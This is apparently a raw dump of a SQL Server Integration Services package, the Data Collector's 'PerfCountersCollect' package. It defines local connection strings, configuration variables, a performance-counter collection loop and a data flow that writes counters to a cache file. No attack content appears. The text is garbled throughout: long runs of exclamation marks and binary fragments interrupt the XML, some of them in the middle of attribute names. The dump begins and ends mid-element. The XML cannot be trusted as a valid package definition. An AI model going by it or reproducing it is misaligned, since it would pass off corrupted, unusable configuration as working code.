text"/><DTS:PrecedenceConstraint DTS:refId="Package.PrecedenceConstraints[Constraint 8]" DTS:CreationName="" DTS:DTSID="{06FC194D-5FAD-44A7-8DD5-42B7254D858D}" DTS:From="Package\SEQ - Capture and analyze query statistics and query plan and text" DTS:LogicalAnd="True" DTS:ObjectName="Constraint 8" DTS:To="Package\FEF - For each collected cache file try upload"/></DTS:PrecedenceConstraints><DTS:PackageVariables/></DTS:Executable>	!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!T`5\
X2Hv<DTS:Executable xmlns:DTS="www.microsoft.com/SqlServer/Dts" DTS:refId="Package" DTS:CreationDate="2/23/2007 1:05:21 PM" DTS:CreationName="SSIS.Package.3" DTS:CreatorComputerName="" DTS:CreatorName="" DTS:DelayValidation="True" DTS:DTSID="{C2EAABC1-5BF3-4127-BEB3-26E94D026E7D}" DTS:EnableConfig="True" DTS:ExecutableType="SSIS.Package.3" DTS:FailParentOnFailure="True" DTS:LastModifiedProductVersion="11.0.1252.5" DTS:LocaleID="1033" DTS:MaxConcurrentExecutables="2" DTS:MaxErrorCount="0" DTS:ObjectName="PerfCountersCollect" DTS:PackageType="5" DTS:VersionBuild="250" DTS:VersionGUID="{B6BDFF4C-24A2-4F0C-8AA8-8F875575F885}"><DTS:Property DTS:Name="PackageFormatVersion">6</DTS:Property><DTS:ConnectionManagers><DTS:ConnectionManager DTS:refId="Package.ConnectionManagers[ConfigConnection]" DTS:CreationName="OLEDB" DTS:Description="Connection used to get information about collection configuration and for logging purposes." DTS:DTSID="{4E94A5E2-F3FC-4BE3-A517-51510D6C61A0}" DTS:ObjectName="ConfigConnection"><DTS:PropertyExpression DTS:Name="ConnectionString">@[User::ConfigConnectionString]</DTS:PropertyExpression><DTS:ObjectData><DTS:ConnectionManager DTS:ConnectionString="Data Source=(local);Initial Catalog=msdb;Provider=SQLNCLI11;Integrated Security=SSPI;APP=SQL Server Data Collector;"/></DTS:ObjectData></DTS:ConnectionManager></DTS:ConnectionManagers><DTS:Configurations><DTS:Configuration DTS:ConfigurationString="User::CacheDirectory" DTS:ConfigurationVariable="\Package.Variables[User::CacheDirectory].Properties[Value]" DTS:CreationName="" DTS:DTSID="{2DF91A21-DC08-404B-B537-367F20F72E42}" DTS:ObjectName="CacheDirectory"/><DTS:Configuration DTS:ConfigurationString="User::CacheWindow" DTS:ConfigurationVariable="\Package.Variables[User::CacheWindow].Properties[Value]" DTS:CreationName="" DTS:DTSID="{B360CA6A-D82F-4B4E-81DB-7A8F702574F6}" DTS:ObjectName="CacheWindow"/><DTS:Configuration DTS:ConfigurationString="User::InputParameters" DTS:ConfigurationVariable="\Package.Variables[User::InputParameters].Properties[Value]" DTS:CreationName="" DTS:DTSID="{FB8C290D-145C-46CE-BB73-10BB2385175F}" DTS:ObjectName="InputParameters"/><DTS:Configuration DTS:ConfigurationString="User::MDWConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::MDWConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{5490BC46-3D1A-4F9A-8776-CF1BE3D41469}" DTS:ObjectName="MDWConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::ConfigConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::ConfigConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{DDD6841A-31D4-4A59-8532-F9790E901171}" DTS:ObjectName="ConfigConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::TargetConnectionString" DTS:ConfigurationVariable="\Package.Variables[User::TargetConnectionString].Properties[Value]" DTS:CreationName="" DTS:DTSID="{EBE7AA26-55D4-4F72-B489-B55945E6019B}" DTS:ObjectName="TargetConnectionString"/><DTS:Configuration DTS:ConfigurationString="User::LoopEventName" DTS:ConfigurationVariable="\Package.Variables[User::LoopEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{F9014B9C-BC8F-489C-B99F-097E18F9BC23}" DTS:ObjectName="LoopEventName"/><DTS:Configuration DTS:ConfigurationString="User::ExitEventName" DTS:ConfigurationVariable="\Package.Variables[User::ExitEventName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{C24EF892-429F-4B3C-A111-13DB7A494FCB}" DTS:ObjectName="ExitEventName"/><DTS:Configuration DTS:ConfigurationString="User::CollectorTypeUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectorTypeUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{27D818B0-33C7-43D0-8EF2-5977B4196718}" DTS:ObjectName="CollectorTypeUID"/><DTS:Configuration DTS:ConfigurationString="User::CollectionSetUID" DTS:ConfigurationVariable="\Package.Variables[User::CollectionSetUID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{E47A5D19-3066-4CB4-BBE5-FA97F105AFC3}" DTS:ObjectName="CollectionSetUID"/><	!!!!!!!!!!!!!!!!!!!!!!!!`5\K6HvDTS:Configuration DTS:ConfigurationString="User::ItemID" DTS:ConfigurationVariable="\Package.Variables[User::ItemID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{2D172908-BD61-4ABF-9F82-27F51E6C1DA0}" DTS:ObjectName="ItemID"/><DTS:Configuration DTS:ConfigurationString="User::InstanceID" DTS:ConfigurationVariable="\Package.Variables[User::InstanceID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{E5363D05-5772-4597-88B3-326AF26B3C85}" DTS:ObjectName="InstanceID"/><DTS:Configuration DTS:ConfigurationString="User::InstanceName" DTS:ConfigurationVariable="\Package.Variables[User::InstanceName].Properties[Value]" DTS:CreationName="" DTS:DTSID="{361B3E87-706B-4AD0-9EC1-006A44B38233}" DTS:ObjectName="InstanceName"/><DTS:Configuration DTS:ConfigurationString="User::LoggingLevel" DTS:ConfigurationVariable="\Package.Variables[User::LoggingLevel].Properties[Value]" DTS:CreationName="" DTS:DTSID="{3669A456-6321-4100-AC8E-FB1A95859A8E}" DTS:ObjectName="LoggingLevel"/><DTS:Configuration DTS:ConfigurationString="User::LogID" DTS:ConfigurationVariable="\Package.Variables[User::LogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{FDCAFA60-9772-42E4-BBEF-7385D5D59B6F}" DTS:ObjectName="LogID"/><DTS:Configuration DTS:ConfigurationString="User::ParentLogID" DTS:ConfigurationVariable="\Package.Variables[User::ParentLogID].Properties[Value]" DTS:CreationName="" DTS:DTSID="{27797092-0D53-4ED5-88B7-0C7B76E726BD}" DTS:ObjectName="ParentLogID"/></DTS:Configurations><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{29F8E7BD-603A-476F-9B2D-6C92119CE553}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheDirectory"><DTS:VariableValue DTS:DataType="8">c:\perflogs</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{967E7E54-C796-4A22-995E-AAF61BB36173}" DTS:EvaluateAsExpression="True" DTS:Expression="@[User::CacheDirectory] + &quot;\\&quot; + @[System::MachineName] + &quot;_&quot; + @[User::InstanceID] + &quot;_&quot;  + @[User::CollectionSetUID] + &quot;_&quot; +  (DT_WSTR, 255) @[User::ItemID] + &quot;.cache&quot;" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CacheFilename"><DTS:VariableValue DTS:DataType="8">c:\perflogs\SETHS-SSISVSTA2_MSSQL.1_640012b7-4ed0-4865-a636-4946d73c425f_0.cache</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{EF1ADEC8-05A4-4885-AE2E-F5F40EDF145A}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="CacheWindow"><DTS:VariableValue DTS:DataType="3">1</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{C5042E47-57C6-42FF-B65A-36AA2F808656}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectionSetUID"><DTS:VariableValue DTS:DataType="8">640012b7-4ed0-4865-a636-4946d73c425f</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{2E115FC3-AB18-4468-BF2D-74C84CFFF849}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="CollectorTypeUID"><DTS:VariableValue DTS:DataType="8">294605dd-21de-40b2-b20f-f3e170ea1ec3</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{64459284-6B94-45DB-A58B-50D48D02C473}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ConfigConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;Initial Catalog=msdb;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{E988E92E-8FC0-4097-8AA4-CD14BD52783F}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="ExitEventName"><DTS:VariableValue DTS:DataType="8">EXITEVENT</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{3EB44CAF-64FC-4F6A-A7BE-4160AEE20B34}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InputParameters"><DTS:VariableValue DTS:DataType="8">&lt;PerformanceCountersCollector&gt;&lt;PerformanceCounters Objects="Process" Counters	!!!!!!!!!!!!!!!!!!!!!!!!`5\Hv="*" Instances="*" /&gt;&lt;PerformanceCounters Objects="Processor" Counters="*" Instances="*" /&gt;&lt;PerformanceCounters Objects="Paging File" Counters="*" Instances="*" /&gt;&lt;PerformanceCounters Objects="PhysicalDisk" Counters="*" Instances="*" /&gt;&lt;PerformanceCounters Objects="Server" Counters="*" Instances="" /&gt;&lt;/PerformanceCountersCollector&gt;</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{928007D1-B14A-4D77-8204-80390F5FB6CB}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceID"><DTS:VariableValue DTS:DataType="8">MSSQL.1</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{43C71C34-F794-427C-92E6-D395182A0EA9}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="InstanceName"><DTS:VariableValue DTS:DataType="8">(local)</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{4BE8D57B-5002-4B3E-B43A-50F76AF58148}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ItemID"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{AA31DAA1-078D-4091-8B9F-1E74D4A51FA1}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LoggingLevel"><DTS:VariableValue DTS:DataType="3">2</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{D05C5D8C-82BF-4C78-AB42-47C01FF782BF}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{9C7C5068-DBAC-42CB-A94E-FA5EB1FAEE4A}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="LoopDuration"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{9AA16C7F-334A-4F2C-9F11-CC3719DB3722}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="LoopEventName"><DTS:VariableValue DTS:DataType="8">LOOPEVENT</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{2E6EF4C5-555E-4955-B8BD-22F04E37EB47}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="MDWConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;Initial Catalog=MDW;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{B87950A5-F6B0-4944-957B-943E41BD4A9C}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="ParentLogID"><DTS:VariableValue DTS:DataType="20">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{610F0141-9C2A-427B-8774-BCA4C0B51F30}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="RowCountIn"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{5795944D-0E69-4702-9997-D9BA10D59589}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="RowCountOut"><DTS:VariableValue DTS:DataType="3">0</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{44A62538-C3D0-4BFD-9216-9CF8B520D3FF}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="TargetConnectionString"><DTS:VariableValue DTS:DataType="8">Provider=SQLNCLI11;Data Source=(local);Integrated Security=SSPI;APP=SQL Server Data Collector</DTS:VariableValue></DTS:Variable><DTS:Variable DTS:CreationName="" DTS:DTSID="{B5CE21C4-35D9-4861-B04C-7FFD03436B28}" DTS:IncludeInDebugDump="6789" DTS:Namespace="User" DTS:ObjectName="TargetProcessID"><DTS:VariableValue DTS:DataType="3">-1</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="1"><DTS:Property DTS:DataType="8" DTS:Name="EventFilter">2,7,OnError,9,OnWarning</DTS:Property><DTS:Property DTS:EventName="OnError" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property D	!!!!!!!!!!!!!!!!!!!!!!!!`5\RHvTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property><DTS:Property DTS:EventName="OnWarning" DTS:Name="ColumnFilter"><DTS:Property DTS:Name="Computer">-1</DTS:Property><DTS:Property DTS:Name="Operator">-1</DTS:Property><DTS:Property DTS:Name="SourceName">-1</DTS:Property><DTS:Property DTS:Name="SourceID">-1</DTS:Property><DTS:Property DTS:Name="ExecutionID">-1</DTS:Property><DTS:Property DTS:Name="MessageText">-1</DTS:Property><DTS:Property DTS:Name="DataBytes">-1</DTS:Property></DTS:Property></DTS:LoggingOptions><DTS:Executables><DTS:Executable DTS:refId="Package\LOOP - Aquire performance counters @ collection item frequency" DTS:CreationName="STOCK:FOREACHLOOP" DTS:DelayValidation="True" DTS:Description="Foreach Loop - Aquire performance counters snapshot (Collector Item Frequency)" DTS:DTSID="{72e40adc-49ee-4175-b503-4f26f85912fc}" DTS:ExecutableType="STOCK:FOREACHLOOP" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="LOOP - Aquire performance counters @ collection item frequency"><DTS:ForEachEnumerator DTS:CreationName="DC.ForEachEventEnumerator.2" DTS:DTSID="{6a2ecbd1-4348-4274-a8be-ea7c86bd0581}" DTS:ObjectName="{710AEAF2-45BD-4AB2-9EAF-FB6268AD10A2}"><DTS:PropertyExpression DTS:Name="ExitEventName">@[User::ExitEventName]</DTS:PropertyExpression><DTS:PropertyExpression DTS:Name="LoopEventName">@[User::LoopEventName]</DTS:PropertyExpression><DTS:ObjectData><ForEachEventEnumeratorProperties><FEEEProperty LoopEventName="LOOPEVENT"/><FEEEProperty ExitEventName="EXITEVENT"/></ForEachEventEnumeratorProperties></DTS:ObjectData></DTS:ForEachEnumerator><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0" DTS:LoggingMode="2"/><DTS:Executables><DTS:Executable DTS:refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container" DTS:CreationName="STOCK:SEQUENCE" DTS:DelayValidation="True" DTS:Description="Sequence Container" DTS:DTSID="{926A1F57-89A9-423A-8A68-151BE44CE956}" DTS:ExecutableType="STOCK:SEQUENCE" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="Collect Upload Package Sync Sequence Container"><DTS:Variables><DTS:Variable DTS:CreationName="" DTS:DTSID="{2C3410CF-ED28-49FC-B178-5A5D81706A6D}" DTS:IncludeInDebugDump="2345" DTS:Namespace="User" DTS:ObjectName="SyncRoot"><DTS:VariableValue DTS:DataType="8">PerfCountersLock</DTS:VariableValue></DTS:Variable></DTS:Variables><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:Executables><DTS:Executable DTS:refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters" DTS:CreationName="SSIS.Pipeline.3" DTS:DelayValidation="True" DTS:Description="Data Flow Task" DTS:DTSID="{C54F50A1-B2B5-4E92-9B84-4FAEDBF89FFF}" DTS:ExecutableType="SSIS.Pipeline.3" DTS:FailParentOnFailure="True" DTS:LocaleID="-1" DTS:MaxErrorCount="0" DTS:ObjectName="DFT - Retrieve Performance Counters" DTS:TaskContact="Performs high-performance data extraction, transformation and loading;Microsoft Corporation; Microsoft SQL Server v9; (C) 2004 Microsoft Corporation; All Rights Reserved;http://www.microsoft.com/sql/support/default.asp;1"><DTS:Variables/><DTS:LoggingOptions DTS:FilterKind="0"/><DTS:ObjectData><pipeline BLOBTempStoragePath="" bufferTempStoragePath="" defaultBufferMaxRows="500" defaultBufferSize="1048576" engineThreads="2" version="1"><components><component refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source" componentClassID="{80C617B0-2589-4FBA-B333-3E62A6ECAF67}" name="Perfomance Counters Source" v	!!!!!!!!!!!!!!!!!!!!!!!!`5\!Hversion="1"><properties><property dataType="System.String" description="Provides XML input for the Performance Counter source component" expressionType="Notify" name="InputParameters"/></properties><outputs><output refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output]" name="TxPerfCounters Output"><outputColumns><outputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[path]" dataType="wstr" length="2048" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[path]" name="path"/><outputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[formatted_value]" dataType="r8" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[formatted_value]" name="formatted_value"/><outputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[raw_value_first]" dataType="i8" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[raw_value_first]" name="raw_value_first"/><outputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[raw_value_second]" dataType="i8" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[raw_value_second]" name="raw_value_second"/><outputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[counter_type]" dataType="i4" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[counter_type]" name="counter_type"/><outputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[collection_time]" dataType="dbTimeStamp" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[collection_time]" name="collection_time"/><outputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[object_name]" dataType="wstr" length="2	!!!!!!!!!!!!!!!!!!!!!!!!`5\)oHv048" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[object_name]" name="object_name"/><outputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[counter_name]" dataType="wstr" length="2048" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[counter_name]" name="counter_name"/><outputColumn refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[instance_name]" dataType="wstr" length="2048" lineageId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\Perfomance Counters Source.Outputs[TxPerfCounters Output].Columns[instance_name]" name="instance_name"/></outputColumns><externalMetadataColumns/></output></outputs></component><component refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RC - Number of counters collected" componentClassID="{E2697D8C-70DA-42B2-8208-A19CE3A9FE41}" contactInfo="Row Count;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;0" description="Counts the rows in a dataset." name="RC - Number of counters collected" validateExternalMetadata="False"><properties><property dataType="System.String" description="Specifies the variable to hold the row count." name="VariableName">User::RowCountOut</property></properties><inputs><input refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RC - Number of counters collected.Inputs[Row Count Input 1]" hasSideEffects="true" name="Row Count Input 1"><externalMetadataColumns/></input></inputs><outputs><output refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RC - Number of counters collected.Outputs[Row Count Output 1]" name="Row Count Output 1" synchronousInputId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RC - Number of counters collected.Inputs[Row Count Input 1]"><externalMetadataColumns/></output></outputs></component><component refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache" componentClassID="{04762BB6-892F-4EE6-AD46-9CEB0A7EC7A2}" contactInfo="Loads raw data into a file.;Microsoft Corporation;Microsoft SqlServer v9; (C) 2005 Microsoft Corporation; All Rights Reserved; http://www.microsoft.com/sql/support;2" description="Loads raw data into a file." name="RFD - Write to cache" validateExternalMetadata="False" version="2"><properties><property dataType="System.Int32" description="Specifies the mode used to access the file." name="AccessMode" typeConverter="AccessMode">1</property><property dataType="System.Null" description="Output file name" name="FileName" UITypeEditor="Microsoft.DataTransformationServices.Controls.NonValidatingFileNameEditor, Microsoft.DataTransformationServices.Controls, Version=11.0.0.0, Culture=neutral, PublicKeyT	!!!!!!!!!!!!!!!!!!!!!!!!`5\-Hvoken=89845dcd8080cc91"/><property dataType="System.String" description="Name of the variable that contains the file name" name="FileNameVariable">User::CacheFilename</property><property dataType="System.Int32" description="Indicates what option is used to write to the file." name="WriteOption" typeConverter="WriteOption">2</property></properties><inputs><input refId="Package\LOOP - Aquire performance counters @ collection item frequency\Collect Upload Package Sync Sequence Container\DFT - Retrieve Performance Counters\RFD - Write to cache.Inputs[Raw File Destination Input]" 